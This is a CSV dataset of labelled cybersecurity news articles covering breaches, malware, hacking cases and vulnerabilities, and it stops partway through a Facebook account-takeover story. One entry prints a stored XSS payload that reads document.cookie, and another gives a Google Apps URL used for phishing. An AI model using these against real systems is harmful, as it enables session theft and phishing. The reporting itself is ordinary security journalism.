Title,Link,Article,Label
"Young Hacker, Who Took Over Jail Network to Get Friend Released Early, Faces Prison",https://thehackernews.com/2017/12/hacking-jail-records.html,"Well, ""a friend in need is a friend indeed"" goes a long way, but in this case, this phrase hardly makes any sense.

A 27-year-old Michigan man who hacked into the government computer system of Washtenaw County Jail to alter inmate records and gain early release for his friend is now himself facing federal charges after getting caught.

Konrads Voits from Ann Arbor, Michigan, pleaded guilty in federal court last week for hacking into the Washtenaw County government computer system earlier this year using malware, phishing, and social engineering tricks in an attempt to get his friend released early from jail.

Prosecutors say Voits also used phone calls to prison staff claiming to be a manager at the County Jail's IT department and tricking them into downloading and running malware on their computers by visiting a phony website at ""ewashtenavv.org,"" which mimics the Washtenaw official URL, ""ewashtenaw.org.""

Voit then obtained the remote login information of one of the Jail employees and used that information to install malware on the County's network and gain access to sensitive County's XJail system in March this year.

Gaining access to this system eventually allowed Voits to steal jail records of several inmates, search warrant affidavits and personal details, including passwords, usernames, and email addresses, of over 1,600 employees, along with altering electronic records of at least one inmate for early release.

However, things did not work as Voits wanted them to, and instead, they all backfired on him when jail employees detected changes in their records and alerted the FBI.

No prisoners were then released early.

This incident took place between January 24th, 2017 and March 10th, 2017 and cost Washtenaw County more than $235,000 to fix the whole mess before authorities busted Voits.
""Cyber intrusions affect individuals, businesses and governments. Computer hackers should realize that unlawfully entering another's computer will result in a felony conviction and a prison sentence,"" said the United States Attorney Daniel Lemisch.
""We applaud the dedication of so many hard-working law enforcement officers to take away this man's [Voits] ability to intrude into the computer systems of others.""
Voits was arrested by the authorities a month later and pleaded guilty last week. He is now facing a fine of up to $250,000 and a maximum sentence of ten years prison, though he is unlikely to receive the maximum sentence.

Voits has agreed to surrender his belongings used during the attack, including his laptop, four cellphones and an undisclosed amount of Bitcoin.

Voits is currently in federal custody and is set to face a sentencing hearing on 5 April 2018.

",Cyber_Attack
Fake Digital Certificates Found in the Wild While Observing Facebook SSL Connections,https://thehackernews.com/2014/05/fake-digital-certificates-found-in-wild.html,"Visiting a website certified with an SSL certificate doesn't mean that the website is not bogus. Secure Sockets Layer (SSL) protect the web users in two ways, it uses public key encryption to encrypt sensitive information between a user's computer and a website, such as usernames, passwords, or credit card numbers and also verify the identity of websites.

Today hackers and cyber criminals are using every tantrum to steal users' credentials and other sensitive data by injecting fake SSL certificates to the bogus websites impersonating Social media, e-commerce, and financial websites as well.

DETECTING FAKE DIGITAL CERTIFICATES WIDELY
A Group of researchers, Lin-Shung Huang , Alex Ricey , Erling Ellingseny and Collin Jackson, from the Carnegie Mellon University in collaboration with Facebook have analyzed [PDF] more than 3 million SSL connections and found strong evidence that at least 6;845 (0:2%) of them were in fact tampered with forged certificates i.e. self-signed digital certificates that aren't authorized by the legitimate website owners, but will be accepted as valid by most browsers.

They utilized the widely-supported Flash Player plug-in to enable socket functionality and implemented a partial SSL handshake on our own to capture forged certificates and deployed this detection mechanism on an Alexa top 10 website, Facebook, which terminates connections through a diverse set of network operators across the world.

Generally Modern web browsers display a warning message when encountering errors during SSL certificate validation, but warning page still allows users to proceed over a potentially insecure connection.
Fake SSL connections can argue that certificate warnings are mostly caused by server mis-configurations. According to usability survey, many users actually ignore SSL certificate warnings and trusting forged certificates could make them vulnerable to the simplest SSL interception attacks.

This means that a potential hacker can successfully impersonate any website, even for secure connections i.e. HTTPS, to perform an SSL ma-in-the-middle attack in order to intercept encrypted connections.

FAKE DIGITAL CERTIFICATES SIGNED WITH STOLEN KEYS FROM ANTIVIRUS
Researchers observed most of the forged SSL certificate are using same name as original Digital Certificate issuer organizations, such as VeriSign, Comodo.

Some Antivirus software such as Bitdefender, ESET, BullGuard, Kaspersky Lab, Nordnet, DefenderPro etc., has ability to intercept/Scan SSL connection on Clients' system in order to defend their users from Fake SSL connections. These Antivirus products generate their own certificates that would be less alarming than other Self-signed digital certificates.
""One should be wary of professional attackers that might be capable of stealing the private key of the signing certificates from antivirus vendors, which may essentially allow them to spy on the antivirus users (since the antivirus root certificate would be trusted by the client),"" the researchers explained. ""Hypothetically, governments could also compel antivirus vendors to hand over their signing keys.""
Similar capabilities are observed in various Firewall, Parental Control Software and adware software those could be compromised by hackers in order to generate valid, but fake digital certificates.

DIGITAL CERTIFICATES GENERATED BY MALWARE
Researchers also noticed another interesting self-signed digital certificate, named as 'IopFailZeroAccessCreate', which was generated by some malware on client-end systems and using same name as trusted Certificate issuer ""VeriSign Class 4 Public Primary CA.""

""These variants provide clear evidence that attackers in the wild are generating certificates with forged issuer attributes, and even increased their sophistication during the time frame of our study,"" they said.
Detected statistics shows that the clients infected with same malware serving 'IopFailZeroAccessCreate' bogus digital certificates were widespread across 45 different countries, including Mexico, Argentina and the United States.

Malware researchers at Facebook, in collaboration with the Microsoft Security Essentials team, were able to confirm these suspicions and identify the specific malware family responsible for this attack.

DETECTION AND ATTACK MIGRATION TECHNIQUES
Attackers may also restrict Flash-based sockets by blocking Flash socket policy traffic on port 843 or can avoid intercepting SSL connections made by the Flash Player in order to bypass detection techniques used by the researchers. To counter this, websites could possibly serve socket policy files over firewall-friendly ports (80 or 443), by multiplexing web traffic and socket policy requests on their servers.

In Addition, researchers have discussed migration techniques in the paper such as HTTP Strict Transport Security (HSTS), Public Key Pinning Extension for HTTP (HPKP), TLS Origin-Bound Certificates (TLS-OBC), Certificate Validation with Notaries and DNS-based Authentication of Named Entities (DANE), those could be used by servers to enforce HTTPS and validate digital certificates.

HOW TO REMOVE MALWARE
If you are also infected by any similar malware, please follow below given steps to remove it:
Check your hosts file (C:\Windows\System32\Drivers\etc\hosts) for malicious entries
Check your DNS (Domain Name Server) settings on system and DSL Modem
Verify your proxy settings on browser
Cross-check your installed Browser addons.
Install reputed Antivirus and Firewall Product and Scan for malicious files

",Malware
"Hack or attempt to Hack, you may face 20 years in prison",https://thehackernews.com/2014/01/hacker-Personal-Data-Privacy-Security-Act.html,"The Senate Judiciary Committee Chairman 'Patrick Leahy' reintroduced a revamped version of the ""Personal Data Privacy and Security Act"" for tough criminal penalties for hackers, that he originally authored in 2005.

During last Christmas Holidays, a massive data breach had occurred at the shopping giant Target, involving hack of 40 million credit & debit cards, used to pay for purchases at its 1500 stores nationwide in the U.S.
Reason: ""Target Data Breach? Seriously""? In a statement, as published below, the Senator wrote:
""The recent data breach at Target involving the debit and credit card data of as many as 40 million customers during the Christmas holidays is a reminder that developing a comprehensive national strategy to protect data privacy and cybersecurity remains one of the most challenging and important issues facing our Nation""
It seems that the TARGET Breach was scheduled, as the best opportunity to ramp up the cyber security laws against all kinds of Hackers.

Finally, on Wednesday he has re-introduced a more strict version of the ""Personal Data Privacy and Security Act"" bill that aims to protect Americans' data from cyber criminals. He wrote in a statement,
""The Personal Data Privacy and Security Act will help to meet this challenge, by better protecting Americans from the growing threats of data breaches and identity theft.""
In his proposal, the companies with databases containing sensitive customer information will have to adopt a 'nationwide standard' of internal policies to defend against cyber attacks. It will also provide an alert notice to all Americans users, when they have been victims of such data breach.

No Doubt, I am also in favor to give strict sentences to the Cyber criminals who are involved in Malware related crimes, financial hacks, cyber bullying, espionage or spying, but this Bill now also covers strict sentencing for hactivists and hackers who have nothing to do with financial data. I have explained these facts about the bill as follow:
Obviously, I smell a Rat here!
New Penalty - 20 Years, rather than 10: Another most important modification is proposed to increase the maximum sentence for a first-time offender from 10 years to 20.

Cyber Criminal = Hacktivist = Anonymous = Cyber Fraud ≠ NSA: Unfortunately, this Bill will also apply to all types of hackers, who is involved in Data Breaches, Cyber Fraud activities, Identity theft, Malware developers as well as on the other hackers including Anonymous, Hacktivist etc. who is not hacking for financial benefits.
""The bill also includes the Obama administration's proposal to update the Computer Fraud and Abuse Act, so that attempted computer hacking and conspiracy to commit computer hacking offenses are subject to the same criminal penalties, as the underlying offenses.""
If you haven't forgotten the news of the Hactivist Jeremy Hammond, who was sentenced 10 years in prison under the same Computer Fraud and Abuse Act (CFAA) for hacking into private intelligence contractor Stratfor and attempting to highlight Stratfor's work as a private intelligence firm.

He exposed Surveillance operation done by Stratfor on the political protesters at the behest of both private companies and the government. His attack was for political purpose, rather than financial.

Attempt to Hack = Successfully Hacked: If you are even planning to hack someone, then, according to this updated Bill, you are also considered as a Criminal. The Senator also proposed that the hackers who are unsuccessful in their actions are punished as severely as more accomplished ones regardless.

Considering the NSA's unethical Hacking operation? Now that's interesting! Whistle-blowing comes under a massive crime, but spying on the whole world by the their own NSA comes under nothing from any above??
Recently, The Security researcher Jacob Appelbaum accused the NSA of illegally hacking the massive amounts of private data of users under the guise of counterterrorism. ""NSA gets to do something like intercepting 7 billion people all day long with no problems. And the rest of us are not even allowed to experiment with improving the security of our own lives without being put in prison or under threat of serious indictment."" he said.

Making Laws more strict for hackers with criminal or Fraud activities is OKAY, but what about the team of hackers who are unethically hacking into world's telecommunication companies, devices or the database of Big Internet companies?

Now, this is something on what U.S Government won't give a damn look!

",Data_Breaches
Google Developer Discovers a Critical Bug in Modern Web Browsers,https://thehackernews.com/2018/06/browser-cross-origin-vulnerability.html,"Google researcher has discovered a severe vulnerability in modern web browsers that could have allowed websites you visit to steal the sensitive content of your online accounts from other websites that you have logged-in the same browser.

Discovered by Jake Archibald, developer advocate for Google Chrome, the vulnerability resides in the way browsers handle cross-origin requests to video and audio files, which if exploited, could allow remote attackers to even read the content of your Gmail or private Facebook messages.

For security reasons, modern web browsers don't allow websites to make cross-origin requests to a different domain unless any domain explicitly allows it.

That means, if you visit a website on your browser, it can only request data from the same origin the site was loaded from, preventing it from making any unauthorized request on your behalf in an attempt to steal your data from other sites.

However, web browsers do not respond in the same way while fetching media files hosted on other origins, allowing a website you visit to load audio/video files from different domains without any restrictions.

Moreover, browsers also support range header and partial content responses, allowing websites to serve partial content of a large media file, which is useful while playing a large media or downloading files with pause and resume ability.

In other words, media elements have an ability to join pieces of multiple responses together and treat it as a single resource.

However, Archibald found that Mozilla FireFox and Microsoft Edge allowed media elements to mix visible and opaque data or opaque data from multiple sources together, leaving a sophisticated attack vector open for attackers.
In a blog post published today, Archibald detailed this vulnerability, which he dubbed Wavethrough, explaining how an attacker can leverage this feature to bypass protections implemented by browsers that prevent cross-origin requests.

""Bugs started when browsers implemented range requests for media elements, which wasn't covered by the standard. These range requests were genuinely useful, so all browsers did it by copying each others behaviour, but no one integrated it into the standard,"" Archibald explained.

According to Archibald, this loophole can be exploited by a malicious website using an embedded media file on its webpage, which if played, only serves partial content from its own server and asks the browser to fetch rest of the file from a different origin, forcing the browser to make a cross-origin request.

The second request, which actually is a cross-origin request and should be restricted, will be successful because mixing visible and opaque data are allowed for a media file, allowing one website to steal content from the other.
""I created a site that does the above. I used a PCM WAV header because everything after the header is valid data, and whatever Facebook returned would be treated as uncompressed audio,"" Archibald said.
Archibald has also published a video, and a proof-of-concept exploit demonstrating how a malicious website can fetch your private content from websites like Gmail and Facebook, whose response will be same for the malicious site as your browser loads them for you.


Since Chrome and Safari already have a policy in place to reject such cross-origin requests as soon as they see any redirection after the underlying content appears to have changed between requests, their users are already protected.
""This is why standards are important. I believe Chrome had a similar security issue long ago, but instead of just fixing it in Chrome, the fix should have been written into a standard, and tests should have been written for other browsers to check against,"" Archibald said.
FireFox and Edge browsers that were found vulnerable to this issue have also patched the vulnerability in their latest versions after Archibald responsibly reported it to their security teams.

Therefore, FireFox and Edge browser users are highly recommended to make sure that they are running the latest version of these browsers.

",Vulnerability
Hacker Abuses Google Apps vulnerability for Sending Phishing Emails,https://thehackernews.com/2015/03/google-apps-vulnerability.html,"A critical vulnerability has been discovered in the Google Apps for Work that allows hackers to abuse any website's domain name based email addresses, which could then be used to send phishing emails on company's behalf in order to target users.

If you wish to have an email address named on your brand that reads like admin@yourdomain.com instead of myemail@gmail.com, then you can register an account with Google Apps for Work.

The Google Apps for Work service allows you to use Gmail, Drive storage, Calendar, online documents, video Hangouts, and other collaborative services with your team or organization.

To get a custom domain name based email service from Google, one just need to sign up like a normal Gmail account. Once created, you can access your domain's admin console panel on Google app interface, but can not be able to use any service until you get your domain verified from Google.

SENDING PHISHING MAILS FROM HIJACKED ACCOUNTS
Cyber security researchers Patrik fehrenbach and Behrouz sadeghipour found that an attacker can register any unused (not previously registered with Google apps service) domain, example: bankofanycountry.com with Google apps for Work to obtain 'admin@bankofanycountry.com' account.

But obviously, Google would not let you access email service for 'admin@bankofanycountry.com', until domain verification has been completed, which means neither you can send any email from that account, nor you can receive.

However, the duo explained The Hacker News that there is a page on Google apps that allows domain admin to send 'Sign in Instructions' to the organization users i.e. info@bankofanycountry.com (must be created from panel before proceeding) by accessing following URL directly on the browser.
https://admin.google.com/EmailLoginInstructions?userEmail=info@bankofanycountry.com
Using the compose email interface, as shown, an attacker could send any kind of phishing email containing malicious link to the target users, in an attempt to trick them into revealing their personal information including passwords, financial details or any other sensitive information.
BEFORE SECURITY PATCH
As shown below, researchers successfully obtained admin@vine.com (acquired by Twitter) and send a mail to victim, contains a subject: Welcome to Twitter, which can convince users into submitting their Twitter credentials to the given phishing pages.
Researchers reported this security and privacy issue to the search engine giant, and the company has applied, what I think, a partial patch to the flaw. As, it is still allowing an attacker to access 'Send Sign in Instructions' for unverified domains, but this time via apps-noreply@google.com, instead of the custom email address.
In an email conversation, Behrouz told The Hacker News, ""Google believes that showing the sender as apps-noreply is good enough.""
AFTER SECURITY PATCH
But, the consequences are still the same because it won't stop hackers from targeting victims.
Generally, Google automatically helps identify spam and suspicious emails and mark them as spam or phishing warnings, like they're from a legitimate source, such as your bank or Google, but they're not.

However, by abusing above Google vulnerability, hackers could send phishing emails right into your inbox with no warning as the email has been generated from Google's own servers.

",Vulnerability
5-Year-Old Linux Kernel Local Privilege Escalation Flaw Discovered,https://thehackernews.com/2016/12/linux-kernel-local-root-exploit.html,"A 5-year-old serious privilege-escalation vulnerability has been discovered in Linux kernel that affects almost every distro of the Linux operating system, including Redhat, and Ubuntu.

Over a month back, a nine-year-old privilege-escalation vulnerability, dubbed ""Dirty COW,"" was discovered in the Linux kernel that affected every distro of the open-source operating system, including Red Hat, Debian, and Ubuntu.

Now, another Linux kernel vulnerability (CVE-2016-8655) that dates back to 2011 disclosed today could allow an unprivileged local user to gain root privileges by exploiting a race condition in the af_packet implementation in the Linux kernel.

Philip Pettersson, the researcher who discovered the flaw, was able to create an exploit to gain a root shell on an Ubuntu 16.04 LTS system (Linux Kernel 4.4) and also defeated SMEP/SMAP (Supervisor Mode Execution Prevention/Supervisor Mode Access Prevention) protection to gain kernel code execution abilities.

In other words, a local unprivileged attacker can use this exploit to cause a denial of service (crashing server) or run arbitrary malicious code with administrative privileges on the targeted system.
""A race condition issue leading to a use-after-free flaw was found in the way the raw packet sockets implementation in the Linux kernel networking subsystem handled synchronization while creating the TPACKET_V3 ring buffer,"" Red Hat security advisory explains.
""A local user able to open a raw packet socket (requires the CAP_NET_RAW capability) could use this flaw to elevate their privileges on the system.""
This threat creates a potential danger for service providers to have their servers crashed or hacked through this Linux kernel vulnerability.

""On Android, processes with gid=3004/AID_NET_RAW are able to create AF_PACKET sockets (mediaserver) and can trigger the bug,"" Pettersson explains.

The vulnerability was patched in the mainline kernel last week, so users are advised to update their Linux distro as soon as possible.

",Vulnerability
Google's New Tool Alerts When You Use Compromised Credentials On Any Site,https://thehackernews.com/2019/02/google-password-checkup-breaches.html,"With so many data breaches happening almost every week, it has become difficult for users to know if their credentials are already in possession of hackers or being circulated freely across the Internet.

Thankfully, Google has a solution.

Today, February 5, on Safer Internet Day, Google launches a new service that has been designed to alert users when they use an exact combination of username and password for any website that has previously been exposed in any third-party data breach.

The new service, which has initially been made available as a free Chrome browser extension called Password Checkup, works by automatically comparing the user's entered credential on any site to an encrypted database that contains over 4 billion compromised credentials.

If the credentials are found in the list of compromised ones, Password Checkup will prompt users to change their password.

Wondering if Google can see your login credentials? No, the company has used a privacy-oriented implementation that keeps all your information private and anonymous by encrypting your credentials before checking them against its online database.

""We designed Password Checkup with privacy-preserving technologies to never reveal this personal information to Google,"" the company emphasizes. ""We also designed Password Checkup to prevent an attacker from abusing Password Checkup to reveal unsafe usernames and passwords. Finally, all statistics reported by the extension are anonymous.""
You can also check this easy 4-step visual explanation to learn more about how it works under the hood.

Moreover, it is not yet another ""weak password warning tool"" that alerts users whenever they use a commonly used or easily crackable password for any website.

""We designed Password Checkup only to alert you when all of the information necessary to access your account has fallen into the hands of an attacker,"" Google says.

""We will not bother you about outdated passwords youn have already reset or merely weak passwords like '123456.' We only generate an alert when both your current username and password appear in a breach, as that poses the greatest risk.""

The Chrome browser extension, Password Checkup, is available from today, and anyone can download it for free.

Besides launching the new Chrome extension, Google also lists five Official Security Tips which includes keeping your software up-to-date, using unique passwords for every site, taking the Google security checkup, setting up a recovery phone number or email address, and making use of two-factor authentication.

Chrome users can follow these security tips to keep themselves safe on the Internet.

",Data_Breaches
Vodafone Iceland hacked and exposed 70000 Users' Personal Information,https://thehackernews.com/2013/11/vodafone-iceland-hacked-and-exposed.html,"Today Vodafone Iceland was hacked by the Turkish group of hackers Maxn3y (@AgentCoOfficial) who in the past has stolen data from airports' systems, electronic giants and fast food company.

The hackers announced via Twitter that he has successfully compromised Vodafone Iceland server and defaced the official website (Vodafone.is), including various other sub-domains including the company mobile site.
The hackers disclosed a compressed 61.7MB rar file which is locked with password TURKISH and that contains a collection of files including one titled users.sql that appears to contain the 77,000 user accounts.

The file includes user names, social security numbers, encrypted passwords as many other encrypted information. The portal CyberWarNews posted the list of files disclosed and provided information on their content.

Following the complete list of files leaked:

v2.sql
Multimedia database, nothing critical, 400K of user tracking and logging with user agents, refers etc.

greind.sql
Sms history with what appears to be full text messages to a from numbers with timestamps, all dated 2011-08-19
SMS logger sender id, sms id, user IP, date.
900k rows of user contact details related to an SMS plan.

users.sql
User names, ids, encrypted passwords, email addresses, social security numbers, dates, bank details (alot is incomplete)
77,25

sso_vodafone.sql
Account manager's details
Full names, phone numbers, email addresses.
sms_history.sql and signup.sql explained above.

XLS files
6stodvar_signup.xls
kennitala (social security numbers), dates, ticket numbers, campaign ids(unknown campaign), email addresses
Count: 23,494

100mb_pakkar.xls
id, code(unknown), msisdn, sms, timestamp(ts)
Count: 1001

aukalykill_signup.xls
Id, full name (nafn), kennitala (SSN), pnr, confirmed, date, ticket, email, senda, receiver.
Count: 4305

env_users.xls
Id, IP addresses, user name, encrypted passwords, email addresses, first name, last name, phone, fax, Reg date, last active, user level, notes
Count: 334

ev_users.xls
Id, school. login. Clear text passwords, names, isadmin, active
Count: 18

gagnamaga_account.xls
Id, timestamp, IP, session id, social security numbers, email addresses
Count: 1491

registeration.xls
Id, phone, social security numbers, email addresses, ticket id, registration status, date, IP
Count: 1247

ris_site_users.xls
User names, clear text passwords, names, email addresses and permissions
Count: 12

shop_order.xls
cart_id, names, social security numbers, postal codes, email addresses, credit card names, nulled credit card numbers and dates, sale amounts.
Count: 3086

signup_buika.xls
Real name, email addresses, company's, chairman name.
Count: 31

survey_registration.xls
Id, content, date, email addresses
Count: 1929

um_clients.xls
usernames, clear text passwords, active, company's, full addresses, contact numbers, websites, nulled locations.
Count: 767

vodafonecup2010
User names, 5x full names, phone numbers, social security numbers
Count: 71

ris_world_zones.xls
Names, partner countries, to Iceland (nothing important)
Count: 10

shop_cart.xls
Session id and details encrypted, (nothing important)
Count: 49, 468

shop_cart_items.xls
File name says all, nothing of importance here.

shop_cart_plan
File name says all, nothing of importance here.

Vodafone Iceland website was rapidly restored, but at the time I'm writing it is not reachable.

",Data_Breaches
DDoS Attacks originated from thousands of .EDU and .GOV WordPress Blogs,https://thehackernews.com/2013/12/ddos-attacks-originated-from-thousands.html,"In a recent cyber attack on a Forum site, thousands of outdated legitimate WordPress blogs were abused to perform DDOS attacks using previously known vulnerabilities.

After analyzing the Log file from the victim's server, we have noticed many Wordpress CMS based educational (.EDU) and Government (.GOV) websites from where the attack was originated.
In the past we have reported about many such cyber attacks, where attackers hacked into the Wordpress blogs using password brute-force attack or they used the PINGBACK vulnerability in older versions of Wordpress without compromising the server.

WordPress has a built in functionality called Pingback, which allows anyone to initiate a request from WordPress to an arbitrary site and it can be used for a single machine to originate millions of requests from multiple locations.

We have seen more than 100,000 IP addresses involved in the recent DDOS attack and the victim's Forum website received more than 40,000 requests in 7 minutes from different Wordpress blogs and IP addresses.

In this recent attack, we have noticed more than 4000 .EDU and .GOV sites along with thousands of other abused sites, including following:
open.nasa.gov
oversight.house.gov
digitalbusiness.gov.au
pilr.blogs.law.pace.edu
itp.nyu.edu/~mlt324/MattTsBlog
cctevents.creighton.edu
tech.journalism.cuny.edu
languagelog.ldc.upenn.edu/nll
researchcenter.journalism.cuny.edu
testkitchen.colorado.edu
smartpyme.blogs.uoc.edu
journalism.cuny.edu
blogs.ei.columbia.edu
cctevents.creighton.edu
admissions.vanderbilt.edu/vandybloggers
erb.umich.edu
metalab.harvard.edu
greenlaw.blogs.law.pace.edu
and thousands more..
These large servers can cause much more damage in DDoS attacks because the servers have the large network bandwidth and are capable of generating significant amounts of traffic.

At this time it's not clear that either these Wordpress blogs are compromised or the Pingback vulnerability was used to perform the attack.

But It's always wise to learn from other's mistake. If you still use 'admin' or common name as a user name on your blog, change it, use a strong password. There are also security plug-ins available, two-factor authentication options available for WordPress and of course make sure you are up-to-date on the latest version of WordPress.

",Cyber_Attack
"Snowden reveals, GCHQ planted malware via LinkedIn and Slashdot traffic to hack Belgacom Engineers",https://thehackernews.com/2013/11/snowden-reveals-gchq-planted-malware.html,"Edward Snowden, a former contractor at America's National Security Agency (NSA), has rocked the intelligence world by leaking secret documents which reveal the previously unknown extent of global spying. But looks like the NSA isn't the only one using dirty digital tricks to hack its targets.

Back in September, it was reported that the UK's equivalent of the NSA, GCHQ had hacked Belgacom, a leading telecommunications provider in Belgium.

Some New analysis of the Snowden papers by German magazine Der Spiegel shows that British intelligence agency GCHQ created fake LinkedIn and Slashdot pages to spy on computers of Belgacom network engineers.

Communications networks are particularly valuable to spies, because they allow instant access to individual users. Belgacom provides internet access to dozens of key EU institutions based in its capital city Brussels and its global roaming exchange is a hub for connections between various international mobile networks.

GCHQ reportedly used a method called ""quantum insert"", to redirect employees of Belgacom, Belgium's largest telecommunications company, to fake websites that contained malware.
According to Der Spiegel, the first step for GCHQ was to identify employees at Belgacom working in its security and maintenance divisions, including finding out which ones use LinkedIn and Slashdot.

Then they redirected the intercepted traffic (using Man in the middle attack) to a spoofed server (codenamed ""Fox Acid""), which can respond faster than the real one, is placed somewhere on the Internet backbone.

The documents reveal the extent to which spy agencies are able to use mobile communications to track people down and for surveillance. One document claimed, ""We can locate, collect, exploit (in real time where appropriate) high-value mobile devices and services in a fully converged target centric manner.""

A LinkedIn spokesman told Der Spiegel, ""We were never told about this alleged activity and we would never approve of it, irrespective of what purpose it was used for.""

It's unclear whether the GCHQ has its own version of FoxAcid or whether it just piggybacks on the NSA's servers as per their unique surveillance cooperation relationship. Slashdot hasn't responded to a request for comment.

I wonder if there is any possibility that LinkedIn and Slashdot can go after the government on legal basis for effectively attacking their servers?

",Malware
Metasploit 4.1.0 Web UI Cross Site Scripting vulnerability,https://thehackernews.com/2011/10/metasploit-410-web-ui-cross-site.html,"Metasploit 4.1.0 Web UI Cross Site Scripting vulnerability

The Web UI in Metasploit version 4.1.0 suffers from a stored cross site scripting vulnerability discovered by ""Stefan Schurtz"".

Technical Details
Login to Web UI -> Create New Project -> Project name -> '""</script><script>alert(document.cookie)</script>

",Vulnerability
North Korean Hackers Trying to Steal COVID-19 Vaccine Research,https://thehackernews.com/2020/12/north-korean-hackers-trying-to-steal.html,"Threat actors such as the notorious Lazarus group are continuing to tap into the ongoing COVID-19 vaccine research to steal sensitive information to speed up their countries' vaccine-development efforts.
Cybersecurity firm Kaspersky detailed two incidents at a pharmaceutical company and a government ministry in September and October leveraging different tools and techniques but exhibiting similarities in the post-exploitation process, leading the researchers to connect the two attacks to the North Korean government-linked hackers.
""These two incidents reveal the Lazarus group's interest in intelligence related to COVID-19,"" Seongsu Park, a senior security researcher at Kaspersky, said. ""While the group is mostly known for its financial activities, it is a good reminder that it can go after strategic research as well.""
Kaspersky did not name the targeted entities but said the pharmaceutical firm was breached on September 25, 2020, with the attack against the government health ministry occurring a month later, on October 27.
Notably, the incident at the pharmaceutical company — which is involved in developing and distributing a COVID-19 vaccine — saw the Lazarus group deploying the ""BookCodes"" malware, recently used in a supply-chain attack of a South Korean software company WIZVERA to install remote administration tools (RATs) on target systems.
The initial access vector used in the attack remains unknown as yet, but a malware loader identified by the researchers is said to load the encrypted BookCodes RAT that comes with capabilities to collect system information, receive remote commands, and transmit the results of the execution to command-and-control (C2) servers located in South Korea.
In a separate campaign aimed at the health ministry, the hackers compromised two Windows servers to install a malware known as ""wAgent,"" and then used it to retrieve other malicious payloads from an attacker-controlled server.
As with the previous case, the researchers said they were unable to locate the starter module used in the attack but suspect it to have a ""trivial role"" of running the malware with specific parameters, following which wAgent loads a Windows DLL containing backdoor functionalities directly into memory.
""Using this in-memory backdoor, the malware operator executed numerous shell commands to gather victim information,"" Park said.
Irrespective of the two malware clusters employed in the attacks, Kaspersky said the wAgent malware used in October shared the same infection scheme as the malware that the Lazarus group used previously in attacks on cryptocurrency businesses, citing overlaps in the malware naming scheme and debugging messages, and the use of Security Support Provider as a persistence mechanism.
The development is the latest in a long list of attacks capitalizing on the coronavirus pandemic — a trend observed in various phishing lures and malware campaigns throughout the last year. North Korean hackers are alleged to have targeted pharma firms in India, France, Canada, and the UK-based AstraZeneca.

",Malware
New Spectre Flaws in Intel and AMD CPUs Affect Billions of Computers,https://thehackernews.com/2021/05/new-spectre-flaws-in-intel-and-amd-cpus.html,"When Spectre, a class of critical vulnerabilities impacting modern processors, was publicly revealed in January 2018, the researchers behind the discovery said, ""As it is not easy to fix, it will haunt us for quite some time,"" explaining the inspiration behind naming the speculative execution attacks.
Indeed, it's been more than three years, and there is no end to Spectre in sight.
A team of academics from the University of Virginia and University of California, San Diego, have discovered a new line of attack that bypasses all current Spectre protections built into the chips, potentially putting almost every system — desktops, laptops, cloud servers, and smartphones — once again at risk just as they were three years ago.
The disclosure of Spectre and Meltdown opened a floodgates of sorts, what with endless variants of the attacks coming to light in the intervening years, even as chipmakers like Intel, ARM, and AMD have continually scrambled to incorporate defenses to alleviate the vulnerabilities that permit malicious code to read passwords, encryption keys, and other valuable information directly from a computer's kernel memory.
A timing side-channel attack at its core, Spectre breaks the isolation between different applications and takes advantage of an optimization method called speculative execution in CPU hardware implementations to trick programs into accessing arbitrary locations in memory and thus leak their secrets.
""A Spectre attack tricks the processor into executing instructions along the wrong path,"" the researchers said. ""Even though the processor recovers and correctly completes its task, hackers can access confidential data while the processor is heading the wrong way.""
The new attack method exploits what's called a micro-operations (aka micro-ops or μops) cache, an on-chip component that decomposes machine instructions into simpler commands and speeds up computing, as a side-channel to divulge secret information. Micro-op caches have been built into Intel-based machines manufactured since 2011.
""Intel's suggested defense against Spectre, which is called LFENCE, places sensitive code in a waiting area until the security checks are executed, and only then is the sensitive code allowed to execute,"" Ashish Venkat, an assistant professor at the University of Virginia and a co-author of the study, said. ""But it turns out the walls of this waiting area have ears, which our attack exploits. We show how an attacker can smuggle secrets through the micro-op cache by using it as a covert channel.""
On AMD Zen microarchitectures, the micro-ops disclosure primitive can be exploited to achieve a covert data transmission channel with a bandwidth of 250 Kbps with an error rate of 5.59% or 168.58 Kbps with error correction, the researchers detailed.
Intel, in its guidelines for countering timing attacks against cryptographic implementations, recommends adhering to constant-time programming principles, a practice that's easier said than done, necessitating that software changes alone cannot adequately mitigate threats arising out of speculative execution.
""Constant-time programming is not only hard in terms of the actual programmer effort, but also entails high performance overhead and significant deployment challenges related to patching all sensitive software,"" Venkat said in a statement shared with The Hacker News. ""The percentage of code that is written using Constant Time principles is in fact quite small. Relying on this would be dangerous. That is why we still need to secure the hardware""
The silver lining here is that exploiting Spectre vulnerabilities is difficult. To safeguard from the new attack, the researchers propose flushing the micro-ops cache, a technique that offsets the performance benefits gained by using the cache in the first place, leverage performance counters to detect anomalies in the micro-op cache, and partition it based on the level of privilege assigned to the code and prevent unauthorized code from gaining higher privileges.
""The micro-op cache as a side channel has several dangerous implications,"" the researchers said. ""First, it bypasses all techniques that mitigate caches as side channels. Second, these attacks are not detected by any existing attack or malware profile. Third, because the micro-op cache sits at the front of the pipeline, well before execution, certain defenses that mitigate Spectre and other transient execution attacks by restricting speculative cache updates still remain vulnerable to micro-op cache attacks.""

",Vulnerability
Vulnerability allows Hacking Facebook account and password reset within a minute,https://thehackernews.com/2013/07/vulnerability-allows-hacking-facebook.html,"Security expert Dan Melamed discovered a critical vulnerability in Facebook platform that allow an attacker to take complete control over any account.
The vulnerability is considered critical because it would allow a hacker to hack potentially any Facebook account. Dan Melamed presented the discovery on his blog. Dan demonstrated that how a hacker can reset the victim's account password just by tricking him to visit a malicious exploit code.
The flaw affects the Facebook ""claim email address"" component. When an user tries to add an email address already registered to Facebook platform, he has the option to ""claim it"". The loophole exists here, when user claim an email address, Facebook did not check from whom the request came from. This allows an email to be claimed on any Facebook account.

The exploit is possible provided that:
An existing account having the email address that the attacker wants to claim.
Another existing account to initiate the claim process.
Dan provided a video of proof of concept:
When user makes a claim request for an @hotmail.com email he is taken to a link that appears like this:
https://www.facebook.com/support/openid/proxy_hotmail.php?appdata[fbid]=AQ3Tcly2XEfbzuCqyhZXfb8_hYHTnHPPd-CDsvdrLzDnWLpsKTMcaXtIzV0qywEwbPs

The researcher discovered that the parameter appdata[fbid] was the encrypted email address. Dan used the encrypted email funnyluv196@hotmail.com for the POC. The link will redirect user to the sign in page for Hotmail.

""You must sign in with the email address that matches the encrypted parameter. Once signed in, you are taken to a final link that looks like this:

